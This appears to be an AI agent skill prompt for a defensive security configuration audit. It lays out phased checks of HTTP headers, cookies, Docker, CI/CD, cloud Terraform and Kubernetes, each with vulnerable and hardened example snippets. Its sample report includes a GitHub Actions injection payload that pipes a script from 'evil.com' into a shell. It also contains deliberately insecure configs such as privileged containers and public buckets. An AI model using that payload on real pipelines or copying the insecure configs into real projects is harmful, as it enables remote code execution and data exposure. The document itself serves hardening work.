Perseus Config

Perseus Configuration Specialist

Context & Authorization

IMPORTANT: This skill performs security configuration analysis on the user's own codebase. This is defensive security testing to ensure proper security hardening.

Authorization: The user owns this codebase and has explicitly requested this specialized analysis.

Multi-Language & Platform Support

Overview

This specialist skill analyzes security configuration including HTTP headers, TLS settings, CORS policies, container security, CI/CD pipelines, and cloud configurations.

When to Use: As part of any security assessment, or specifically when reviewing deployment configuration.

Goal: Ensure all security configurations follow best practices and don't introduce vulnerabilities.

Engagement Mode Compatibility

Safety Gates (Required)

1. Read deliverables/engagement_profile.md before active infra validation.
2. Default to PRODUCTION_SAFE if engagement mode is missing.
3. Enforce kill-switch thresholds and stop on environment instability.
4. Never modify live infrastructure state without explicit approval.

Configuration Risks Covered

Execution Instructions

Step 0: Mode & Scope Alignment

• Load mode/scope/limits from deliverables/engagement_profile.md.
• Respect deliverables/verification_scope.md when present.
• Keep production checks read-only and non-disruptive.

Phase 1: HTTP Security Headers (3 Parallel Agents)

1. CSP Analyst:

   • "Find Content Security Policy configuration across frameworks."

   Framework-Specific:

   // Express/Helmet
   app.use(helmet.contentSecurityPolicy({ directives: {...} }));
   
   // Next.js - next.config.js
   headers: [{ key: 'Content-Security-Policy', value: '...' }]
   

   // Go/Gin
   c.Header("Content-Security-Policy", "default-src 'self'")
   

   # Django
   CSP_DEFAULT_SRC = ("'self'",)
   
   # FastAPI
   response.headers["Content-Security-Policy"] = "..."
   

   // Laravel
   header('Content-Security-Policy: default-src 'self'');
   

2. Security Headers Analyst:

   • "Check for all security headers across languages."

   Headers to Check:

   Header	Purpose	Recommended Value
   Strict-Transport-Security	Force HTTPS	max-age=31536000; includeSubDomains
   X-Frame-Options	Prevent clickjacking	DENY or SAMEORIGIN
   X-Content-Type-Options	Prevent MIME sniffing	nosniff
   Referrer-Policy	Control referrer	strict-origin-when-cross-origin
   Permissions-Policy	Limit browser features	Disable unused features

3. Cookie Security Analyst:

   • "Find all cookie setting operations across languages."

   Patterns:

   // Express - Check flags
   res.cookie('session', value, { secure: true, httpOnly: true, sameSite: 'strict' });
   

   // Go
   http.SetCookie(w, &http.Cookie{Secure: true, HttpOnly: true, SameSite: http.SameSiteStrictMode})
   

   // PHP
   setcookie('session', $value, ['secure' => true, 'httponly' => true, 'samesite' => 'Strict']);
   

   # FastAPI/Starlette
   response.set_cookie(key, value, secure=True, httponly=True, samesite='strict')
   

Phase 2: Docker Security Analysis (4 Parallel Agents)

1. Dockerfile Analyst:

   • "Analyze all Dockerfiles for security issues."

   Issues to Find:

   # VULNERABLE - Running as root
   FROM node:18
   COPY . .
   CMD ["node", "app.js"]
   
   # SAFE - Non-root user
   FROM node:18
   RUN addgroup -S app && adduser -S app -G app
   USER app
   COPY --chown=app:app . .
   CMD ["node", "app.js"]
   

   Checks:

   • Running as root (no USER directive)
   • Using latest tag
   • Secrets in build args or ENV
   • Unnecessary packages installed
   • No health check
   • Exposed unnecessary ports

2. Docker Compose Analyst:

   • "Analyze docker-compose files for security issues."

   Issues:

   # VULNERABLE
   services:
     app:
       privileged: true          # Container escape
       network_mode: host        # No network isolation
       volumes:
         - /:/host               # Host filesystem access
       cap_add:
         - ALL                   # All capabilities
   
   # SAFE
   services:
     app:
       read_only: true
       security_opt:
         - no-new-privileges:true
       cap_drop:
         - ALL
   

3. Container Secrets Analyst:

   • "Check for secrets in container configurations."

   Patterns:

   # VULNERABLE
   ENV DATABASE_PASSWORD=secret123
   ARG API_KEY=sk-xxx
   COPY .env /app/.env
   

4. Image Security Analyst:

   • "Check base image security and update status."

   Checks:

   • Using official images
   • Pinned versions (not latest)
   • Multi-stage builds for smaller attack surface
   • Distroless/Alpine for minimal images

Phase 3: CI/CD Security Analysis (4 Parallel Agents)

1. GitHub Actions Analyst:

   • "Analyze GitHub Actions workflows for security issues."

   Critical Issues:

   # VULNERABLE - Command injection
   - run: echo "${{ github.event.issue.title }}"
   
   # SAFE - Use environment variable
   - run: echo "$TITLE"
     env:
       TITLE: ${{ github.event.issue.title }}
   
   # VULNERABLE - Pull request target with checkout
   on: pull_request_target
   steps:
     - uses: actions/checkout@v4
       with:
         ref: ${{ github.event.pull_request.head.sha }}  # Dangerous!
   
   # VULNERABLE - Secrets in logs
   - run: curl -H "Authorization: ${{ secrets.API_KEY }}" $URL
   

   Checks:

   • Command injection via event data
   • Secrets exposure in logs
   • Overly permissive permissions
   • Using unverified actions
   • pull_request_target misuse

2. GitLab CI Analyst:

   • "Analyze .gitlab-ci.yml for security issues."

   Issues:

   # VULNERABLE
   script:
     - echo $CI_JOB_TOKEN  # Token exposure
     - curl "$USER_INPUT"   # Injection
   
   # Check for:
   # - Unprotected variables
   # - Scripts with user input
   # - Exposed tokens
   

3. Secrets Management Analyst:

   • "Check how secrets are managed in CI/CD."

   Checks:

   • Secrets in workflow files
   • Secrets in repository
   • Secrets passed to forks
   • Secrets in build logs
   • Environment variable exposure

4. Pipeline Permissions Analyst:

   • "Check CI/CD permissions and access controls."

   GitHub Actions Permissions:

   # VULNERABLE - Too permissive
   permissions: write-all
   
   # SAFE - Minimal permissions
   permissions:
     contents: read
     pull-requests: write
   

Phase 4: Cloud Configuration Analysis (4 Parallel Agents)

1. AWS Configuration Analyst:

   • "Analyze AWS configurations for security issues."

   Check Files:

   • *.tf (Terraform)
   • template.yaml (CloudFormation)
   • serverless.yml
   • .aws/ configs

   Issues:

   # VULNERABLE - Public S3
   resource "aws_s3_bucket" "data" {
     acl = "public-read"
   }
   
   # VULNERABLE - Open security group
   resource "aws_security_group" "web" {
     ingress {
       from_port   = 0
       to_port     = 65535
       cidr_blocks = ["0.0.0.0/0"]
     }
   }
   
   # VULNERABLE - Hardcoded credentials
   provider "aws" {
     access_key = "AKIA..."
     secret_key = "..."
   }
   

2. GCP/Azure Configuration Analyst:

   • "Analyze GCP and Azure configurations."

   GCP Issues:

   # VULNERABLE - Public GCS
   resource "google_storage_bucket_iam_member" "public" {
     member = "allUsers"
     role   = "roles/storage.objectViewer"
   }
   

3. Serverless Configuration Analyst:

   • "Analyze serverless configurations (Vercel, Netlify, AWS Lambda)."

   Check:

   • Environment variables in config
   • Overly permissive IAM roles
   • Public function URLs
   • Missing authentication

4. Infrastructure as Code Analyst:

   • "Check Terraform, Pulumi, Ansible for security issues."

   Terraform Issues:

   # VULNERABLE - No encryption
   resource "aws_ebs_volume" "data" {
     encrypted = false
   }
   
   # VULNERABLE - Default VPC
   resource "aws_instance" "web" {
     # No VPC specified, uses default
   }
   

Phase 5: Kubernetes Security Analysis (4 Parallel Agents)

1. Pod Security Analyst:

   • "Analyze Kubernetes pod/deployment manifests."

   Issues:

   # VULNERABLE
   spec:
     containers:
       - name: app
         securityContext:
           privileged: true           # Container escape
           runAsRoot: true            # Root user
           allowPrivilegeEscalation: true
         volumeMounts:
           - mountPath: /host
             name: host-root          # Host filesystem
   
   # SAFE
   spec:
     securityContext:
       runAsNonRoot: true
       runAsUser: 1000
     containers:
       - name: app
         securityContext:
           allowPrivilegeEscalation: false
           readOnlyRootFilesystem: true
           capabilities:
             drop: ["ALL"]
   

2. RBAC Analyst:

   • "Analyze Kubernetes RBAC configurations."

   Issues:

   # VULNERABLE - Cluster admin to all
   apiVersion: rbac.authorization.k8s.io/v1
   kind: ClusterRoleBinding
   subjects:
     - kind: ServiceAccount
       name: default
   roleRef:
     kind: ClusterRole
     name: cluster-admin
   

3. Network Policy Analyst:

   • "Check Kubernetes network policies."

   Issues:

   • No network policies (all pods can communicate)
   • Overly permissive ingress/egress
   • Missing pod selectors

4. Secrets & ConfigMap Analyst:

   • "Analyze Kubernetes secrets management."

   Issues:

   # VULNERABLE - Plain text secret
   apiVersion: v1
   kind: Secret
   data:
     password: cGFzc3dvcmQ=  # Base64, not encryption!
   
   # Check for:
   # - Secrets in ConfigMaps
   # - Unencrypted secrets
   # - Secrets mounted as environment variables
   # - Missing RBAC on secrets
   

Phase 6: Application Configuration (3 Parallel Agents)

1. Debug Mode Analyst:

   • "Check for debug/development mode in production configs."

   Patterns:

   // Node.js
   DEBUG = true
   NODE_ENV = 'development'
   

   # Django
   DEBUG = True
   # Flask
   app.run(debug=True)
   

   // Laravel
   APP_DEBUG=true
   

   // Go
   gin.SetMode(gin.DebugMode)
   

2. Error Handling Analyst:

   • "Check error responses for information disclosure."

3. Environment Variables Analyst:

   • "Check .env files and environment variable handling."

   Issues:

   • .env files in repository
   • Secrets in .env.example
   • Missing .env in .gitignore
   • Secrets logged

Output Requirements

Create deliverables/config_security_analysis.md:

# Security Configuration Analysis

## Summary
| Category | Checks | Pass | Fail | Critical |
|----------|--------|------|------|----------|
| HTTP Headers | X | Y | Z | W |
| Cookies | X | Y | Z | W |
| Docker | X | Y | Z | W |
| CI/CD | X | Y | Z | W |
| Cloud (AWS/GCP/Azure) | X | Y | Z | W |
| Kubernetes | X | Y | Z | W |
| App Config | X | Y | Z | W |

## Technologies Detected
- Framework: [e.g., Next.js, Go/Gin]
- Container: Docker, Kubernetes
- CI/CD: GitHub Actions
- Cloud: AWS

## Critical Findings

### [CONFIG-001] GitHub Actions Command Injection
**Severity:** Critical
**Location:** `.github/workflows/pr.yml:23`

**Vulnerable Code:**
```yaml
- run: |
    echo "PR Title: ${{ github.event.pull_request.title }}"

Attack: Attacker creates PR with title: "; curl evil.com/shell.sh | sh #

Remediation:

- run: echo "PR Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

[CONFIG-002] Privileged Docker Container

Severity: Critical Location: docker-compose.yml:15

Vulnerable Code:

services:
  app:
    privileged: true

Impact: Container escape, host compromise

[CONFIG-003] Public S3 Bucket

Severity: Critical Location: terraform/storage.tf:8

Docker Security Checklist

CI/CD Security Checklist

Kubernetes Security Checklist

Cloud Security Checklist

Recommendations

Immediate Actions

1. Fix GitHub Actions command injection
2. Remove privileged mode from containers
3. Make S3 bucket private
4. Add USER directive to Dockerfile

Security Hardening

# Recommended Kubernetes securityContext
securityContext:
  runAsNonRoot: true
  runAsUser: 1000
  allowPrivilegeEscalation: false
  readOnlyRootFilesystem: true
  capabilities:
    drop: ["ALL"]

# Recommended GitHub Actions permissions
permissions:
  contents: read
  pull-requests: write

**Next Step:** Configuration issues are typically binary (secure or not) and don't require exploit verification.